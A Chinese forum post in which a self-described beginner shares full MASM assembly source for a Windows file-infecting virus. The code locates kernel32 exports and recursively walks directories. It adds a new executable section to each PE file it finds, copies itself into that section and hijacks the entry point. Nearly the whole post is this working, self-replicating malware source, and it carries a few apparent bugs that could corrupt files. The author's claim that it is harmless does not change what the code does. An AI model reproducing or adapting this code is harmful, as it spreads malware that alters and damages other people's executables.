【文章作者】: tangyuan 
【作者邮箱】: tangyuancty@sina.com 
【作者QQ号】: 262056202 
【编写语言】: asm 
【使用工具】: masm 
【操作平台】: win7 
【作者声明】: 只是出于对病毒技术的好奇。失误之处敬请大家赐教!
 【题外话】: 第一次写病毒,第一次用汇编写东西...结果写出一个四不像,病毒没有任何破坏性,只能感染PE文件,其实更像PE文件的操作练习,代码比较凌乱也写得比较难看,本来没有信心贴出来的,就当给和我一样的广大菜鸟们学习病毒技术的反面教材吧。
 
 
代码注释比较多了,我直接贴代码
 

代码:
.386
.model flat,stdcall
option casemap:none
 
 
include windows.inc
;include kernel32.inc
;includelib kernel32.lib
 
 
.code
 
 
pApiname  db  'LoadLibraryA',0,'GetProcAddress',0,'FindFirstFileA',0,'FindNextFileA',0,'FindClose',0,\
      'CreateFileMappingA',0,'MapViewOfFile',0,'UnmapViewOfFile',0,'CloseHandle',0,'CreateFileA',0,\
      'lstrcpy',0,'lstrcat',0,
      
virusSize  dd  4096      ;;病毒大小(4KB)
infectPath  db  '.',0      ;;感染开始的根目录
infectTemppPath  db  256 dup(0)    ;;临时路径
infectFileType  db  '\*.*',0    ;;文件类型
infectDivide  db  '\',0      ;;文件路径分隔符
 
fileinfo  WIN32_FIND_DATA  <>    ;;结构,用来保存查找到的文件的信息
removeFile  db  '.'      ;;排除.开头的文件名
oldEntryAddress  dd  ?      ;;源程序的入口点
 
apinum    dd  12      ;;保存所需要的api个数
kernal32base  dd  ?      ;;kernal32.dll的基址
importrva  dd  ?      ;;kernal32.dll的输出表地址
pLoadLibrary  dd  ?      ;;LoadLibrary函数的地址
pGetProcAddress  dd  ?      ;;GetProcAddress函数的地址
pFindFirstFile  dd  ?
pFindNextFile  dd  ?
pFindClose  dd  ?
pCreateFileMapping  dd  ?
pMapViewOfFile  dd  ?
pUnmapViewOfFile  dd  ?
pCloseHandle  dd  ?
pCreateFileA  dd  ?
plstrcpy  dd  ?
plstrcat  dd  ?
 
 
start:
 
  call Relocate
Relocate:          ;;重定位地址        
  pop ebp          ;;实现了重定位
  sub ebp,offset Relocate
 
  mov ecx,[esp]
  xor edx,edx
  and cx,0h        ;;取离ecx最近的整10000h地址
  
  lea eax,[ebp+offset SehOperator]
  push eax    
  assume fs:nothing      ;;启用fs
  push fs:[0]
  mov fs:[0],esp
  
  call GetKernal32
  
  pop fs:[0]        ;;恢复原本的FS
  add esp,4
  
  call SearchAPI    
  call FindFile
  
  jmp dword ptr [ebp+offset oldEntryAddress]
  ret
  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
 
GetKernal32:          ;;取得Kernal32.dll基址
  
  mov edx,dword ptr [ecx+IMAGE_DOS_HEADER.e_lfanew]
  cmp ecx,dword ptr [ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
  jnz ExcuteHere
  push esi              ;;重定位操作
  lea esi,[ebp + offset kernal32base]
  mov DWORD PTR [esi],ecx
  pop esi
  ret
ExcuteHere:
  sub ecx,010000h
  jmp GetKernal32
  
  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  
  
SearchAPI:           ;;查找API函数
  
 
  mov edx,ecx        ;;此时ecx保存着kernal32.dll的基址
  mov eax,edx
  mov edx,[edx+IMAGE_DOS_HEADER.e_lfanew]
  lea eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory]
  mov eax,[eax]
  add eax,ecx
  lea esi,[ebp + offset importrva]
  mov DWORD PTR [esi],eax      ;;以上代码找到kernal32.dll输出表
  
  sub esp,10h              ;;[esp]恢复函数名,[esp+4]已经成功搜索的api数,[esp+8]导出函数的索引序号基值,[esp+12]Kernal32.dll输出函数的总数
  mov ebx,dword ptr [eax+IMAGE_EXPORT_DIRECTORY.nBase]
  mov [esp+8],ebx        ;;[esp+8]导出函数的索引序号基值
                                ;;ebx输出函数的总数(控制循环次数)
                                ;;edi指向AddressOfNames
                                ;;esi指向需要搜索的函数名数组
  lea esi,[ebp + offset pApiname]
  mov ebx,dword ptr [eax+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
  mov dword ptr [esp+12],ebx          
@3:  
  mov ebx,[esp+12]
  lea eax,[ebp + offset importrva]
  mov eax,[eax]        
  mov edi,dword ptr [eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
  mov eax,[ebp + offset kernal32base]
  lea edi,[edi+eax]
  xor edx,edx              ;;edx存所要搜索函数在AddressOfNames数组的位置
@2:  
  mov ecx,edi              ;;ecx指向具体函数名
  mov ecx,[ecx]
  mov eax,[ebp + offset kernal32base]
  lea ecx,[ecx+eax]
  xor eax,eax               ;;al保存当前比较字符,ah保存字符偏移
 
 
@1:
  mov al,byte ptr [ecx]
  test al,al
  jz success                 ;;搜索成功
  cmp al,byte ptr [esi]
  jnz next                    ;;逐个比较字符,不等着跳向下一个字符串
  inc ah                       ;;ah用来恢复所要搜索的函数的函数名
  inc esi
  inc ecx            
  jmp @1          
next:  
  dec ebx
  test ebx,ebx
  jz fail                       ;;找不到所要搜索的函数,搜索失败
  inc edx
  add edi,4                  ;;指向下一个输出表里输出的函数
  mov byte ptr [esp],ah
  sub esi,[esp]             ;;恢复函数名
  jmp @2
success:          
  inc esi                      ;;esi指向下一个要搜索的函数
  inc edx                     ;;搜索到函数时函数索引值+1
                                ;;edi指向AddressOfNameOrdinals
  lea edi,[ebp + offset importrva]
  mov edi,[edi]        
  mov edi,dword ptr [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
  mov eax,[ebp + offset kernal32base]
  lea edi,[edi+eax]
  lea edi,dword ptr [edi+edx*2]
  mov ax,word ptr [edi]
  movzx eax,ax
  sub eax,[esp+8]        ;;函数索引值-导出表函数索引序号基值=真正函数索引值
  mov edi,eax
            ;;edx指向AddressOfFunctions
  lea edx,[ebp + offset importrva]
  mov edx,[edx]          
  mov edx,dword ptr [edx+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
  mov eax,[ebp + offset kernal32base]
  lea edx,[edx+eax]
  lea edx,[edx+edi*4]
  mov edx,[edx]
  lea edx,[eax+edx]  
            ;;eax指向保存函数指针的数组
  mov ebx,dword ptr [esp+4]    
  lea eax,[ebp + offset pLoadLibrary]
  lea eax,dword ptr [eax+ebx*4]
  mov dword ptr [eax],edx      ;;将api地址保存进数组
      
  inc ebx
  mov dword ptr [esp+4],ebx    ;;保存已经搜索出地址的api数
  lea eax,[ebp + offset apinum]
  mov eax,[eax]
  cmp eax,ebx
  jnz @3
  add esp,10h        ;;平衡堆栈
  ret
  
fail:
  add esp,10h
  ret
  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  
  
  
SehOperator proc uses ebx pExcept:DWORD,pFramw:DWORD,pContext:DWORD,pDispatch:DWORD  ;;结构化异常处理程序(处理访问内存错误)
  
  mov eax,pContext
  Assume eax:ptr CONTEXT
  push esi
  mov esi,ebp 
  mov ebp,[eax].regEbp
  lea ebx,[ebp+offset ExcuteHere]    ;;处理完异常从这里开始执行
  mov ebp,esi
  pop esi
  mov [eax].regEip,ebx      ;;更改EER结构
  xor ebx,ebx
  mov [eax].iDr0,ebx
  mov [eax].iDr1,ebx
  mov [eax].iDr2,ebx
  mov [eax].iDr3,ebx
  mov [eax].iDr7,ebx
  mov eax,0
  ret
  
SehOperator endp  
 
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
 
FindFile:          ;;搜索文件模块
  
  sub esp,10h        ;;[esp]存放搜索文件时的文件句柄,[esp+4]存放内存映像文件句柄,[esp+8]存放文件内存映像起始地址
            ;;[esp+12]存放打开文件的文件句柄,[esp+16]存放当前程序所在目录
  sub esp,100h        ;;用来存放文件路径最长为256
  
  lea ebx,dword ptr [ebp+offset fileinfo] 
  push ebx
  lea eax,dword ptr [ebp+offset infectPath]
  push eax
  lea eax,[esp+24]
  push eax
  call dword ptr [ebp+ offset plstrcpy]  ;;将目录路径拷贝到堆栈以备恢复
  lea eax,dword ptr [ebp+offset infectDivide]
  push eax
  lea eax,dword ptr [esp+24]
  push eax
  call dword ptr [ebp+ offset plstrcat]  ;;在目录后面加上\
  lea eax,dword ptr [ebp+offset infectFileType]
  push eax
  lea eax,dword ptr [ebp+offset infectPath]
  push eax
  call dword ptr [ebp+offset plstrcat]  ;;目录后加上\*.*
  push eax
  call dword ptr [ebp+offset pFindFirstFile];调用FindFirstFile寻找文件        
  mov dword ptr [esp],eax
  cmp eax,INVALID_HANDLE_VALUE
  jnz @4          
  add esp,110h
  ret
 
@4:            
  lea edx,dword ptr [ebp+offset removeFile];保存.号的内存地址
  mov dl,byte ptr [edx]
  cmp dl,byte ptr [ebx+WIN32_FIND_DATA.cFileName]
  jz @5          ;;判断是否是.或者..,是则跳
  lea eax,[esp+16]
  push eax
  lea eax,dword ptr [ebp+offset infectPath]
  push eax
  call dword ptr [ebp+ offset plstrcpy]  ;;从堆栈将当前目录的路径拷贝到全局变量infectPath
  mov ecx,dword ptr [ebx+WIN32_FIND_DATA.dwFileAttributes]
  cmp ecx,FILE_ATTRIBUTE_DIRECTORY
  jnz @7          ;;判断是目录还是文件,不是目录则跳(递归算法)
  lea ecx,dword ptr [ebx+WIN32_FIND_DATA.cFileName]  
  push ecx
  push eax
  call dword ptr [ebp+offset plstrcat]  ;;在有反斜杠的当前目录下加上要进入的目录
  call FindFile
  jmp @5
@7:  
  push NULL
  push FILE_ATTRIBUTE_NORMAL
  push OPEN_ALWAYS
  push NULL
  push FILE_SHARE_READ or FILE_SHARE_WRITE
  push GENERIC_WRITE or GENERIC_READ
  lea eax,dword ptr [ebx+WIN32_FIND_DATA.cFileName]
  push eax
  lea eax,dword ptr [ebp+offset infectPath]
  push eax
  call dword ptr [ebp+offset plstrcat]  ;;要打开的文件名+文件路径=文件绝对路径
  push eax
  call dword ptr [ebp+offset pCreateFileA];;调用CreateFileA函数打开host文件,返回文件句柄
  mov dword ptr [esp+12],eax
  
  push NULL
  mov edx,dword ptr [ebp+offset virusSize]
  add edx,dword ptr [ebx+WIN32_FIND_DATA.nFileSizeLow]
  push edx        ;;文件长度+病毒长度  
  push 0
  push PAGE_READWRITE
  push NULL
  push eax        ;;此时eax存放已打开文件的文件句柄
  call dword ptr [ebp+offset pCreateFileMapping]
            ;;调用CreateFileMapping函数
  mov dword ptr [esp+4],eax
  
  push edx
  push 0
  push 0
  push FILE_MAP_WRITE
  push eax        ;;调用MapViewOfFile函数将文件映射到内存中
  call dword ptr [ebp+offset pMapViewOfFile]
  mov dword ptr [esp+8],eax    
  
  mov esi,eax        ;;esi指向文件在内存中的基址
  cmp word ptr [esi],'ZM'      
  jnz @6
  mov eax,dword ptr [esi+IMAGE_DOS_HEADER.e_lfanew]
  cmp word ptr [esi+eax],'EP'
  jnz @6
  cmp dword ptr [esi+64],'BSSJ'    ;;判断感染标志'JSSB'
  jz @6
  call InfectHost        ;;调用感染模块
  mov dword ptr [esi+64],'BSSJ'
  
@6:          
  mov  eax,dword ptr [esp+8]    ;;解除文件映射
  push eax
  call dword ptr [ebp+offset pUnmapViewOfFile]
  mov eax,dword ptr [esp+4]    ;;关闭内存映射文件
  push eax
  call dword ptr [ebp+offset pCloseHandle]
  mov eax,dword ptr [esp+12]    ;;关闭HOST文件
  push eax
  call dword ptr [ebp+offset pCloseHandle]
  jmp @5
  
@5:  
  mov eax,dword ptr [esp]
  push ebx
  push eax
  call dword ptr [ebp+offset pFindNextFile];;调用FindNextFile函数读取下一个文件          
  test eax,eax        ;;如果返回值为0,说明没有文件了
  jnz @4          ;;不等于0继续循环搜索,等于0退出
  mov eax,dword ptr [esp]
  push eax
  call dword ptr [ebp+offset pFindClose]
  add esp,110h        
  ret
  
  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
InfectHost:
 
  push ebx        
  push eax        
  sub esp,20h        ;;[esp]节对齐(内存中的对齐),[esp+4]文件对齐,[esp+8]host文件最后一个结的大小
            ;;[esp+12]host文件最后一个结的RVA,[esp+16]host文件最后一个结在文件中的大小,[esp+20]host文件最后一个结在文件中的偏移
            ;;[esp+24]host文件的程序入口地址的保存地址,[esp+28]host文件基址
  mov ebx,dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.SectionAlignment]
  mov dword ptr [esp],ebx
  mov ebx,dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.FileAlignment]
  mov dword ptr [esp+4],ebx
  mov ebx,dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
  mov dword ptr [esp+28],ebx
  
  lea edi,dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
  mov [esp+24],edi
  mov edi,[edi]
  add edi,ebx
  mov dword ptr [ebp+offset oldEntryAddress],edi
  
  
  mov cx,word ptr [esi+eax+IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader]
  movzx ecx,cx
  lea edx,[esi+eax+IMAGE_NT_HEADERS.OptionalHeader]
  add ecx,edx        ;;ecx保存节目录地址
            
  mov bx,word ptr [esi+eax+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]          
            
  dec bx
  movzx eax,bx
  imul eax,28h
  add ecx,eax        ;;定位到最后一个节目录
  
  mov eax,dword ptr [ecx+IMAGE_SECTION_HEADER.Misc.VirtualSize]
  mov [esp+8],eax        ;;host文件最后一个结的大小
  mov eax,dword ptr [ecx+IMAGE_SECTION_HEADER.VirtualAddress]
  mov [esp+12],eax      ;;host文件最后一个结的RVA
  mov eax,dword ptr [ecx+IMAGE_SECTION_HEADER.SizeOfRawData]
  mov [esp+16],eax      ;;host文件最后一个结在文件中的大小
  mov eax,dword ptr [ecx+IMAGE_SECTION_HEADER.PointerToRawData]
  mov [esp+20],eax      ;;host文件最后一个结在文件中的偏移
  
  add ecx,28h        ;;定位到新节目录位置
            ;;开始写入写数据
  mov dword ptr [ecx],'va.'    
  mov eax,dword ptr [ebp+offset virusSize]
  mov dword ptr [ecx+IMAGE_SECTION_HEADER.Misc.VirtualSize],eax
  mov eax,[esp+8]
  mov edi,1000h
  xor edx,edx
  div edi          ;;上节在内存中的开始偏移地址+(上节大小/节对齐+1)×节对齐=本节在内存中的开始偏移地址。
  test edx,edx
  jz @8          ;;如果host程序的最后一个节大大小刚好是1000h的整数倍,则直接写入新节
  inc ax  
@8:
  movzx eax,ax
  imul eax,1000h
  mov edx,[esp+12]
  add eax,edx
  mov dword ptr [ecx+IMAGE_SECTION_HEADER.VirtualAddress],eax
  push ecx
  mov edx,[esp+28]
  add eax,328h        ;;代码开始块
  mov dword ptr [edx],eax      ;;修改程序入口地址
  
  mov eax,[esp+20]
  mov edx,[esp+24]
  add eax,edx
  
  push esi
  mov ecx,4096        ;;病毒大小
  mov edi,eax
  add edi,esi      
  mov esi,401000h
  rep movsb        ;;拷贝病毒到HOST文件新建节 
  pop esi
  
  pop ecx
  mov dword ptr [ecx+IMAGE_SECTION_HEADER.PointerToRawData],eax
  mov dword ptr [ecx+IMAGE_SECTION_HEADER.SizeOfRawData],1000h
  mov dword ptr [ecx+IMAGE_SECTION_HEADER.Characteristics],0e0000020h
                ;;可读可写可执行节
  add esp,20h
  add bx,2        ;;节数+2
  pop eax
  mov word ptr [esi+eax+IMAGE_NT_HEADERS.FileHeader.NumberOfSections],bx
  mov ebx,dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage]
  add ebx,4096
  mov dword ptr [esi+eax+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage],ebx
  pop ebx
  
  ret
  
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  
end  start
                                                                                                                                                                                                                                                               
 
 
 
由于是第一次发帖实在是排版不过来,排了一个多小时的版,不知道为什么老是弄不好,注释老是对其不了,劳烦版主帮帮忙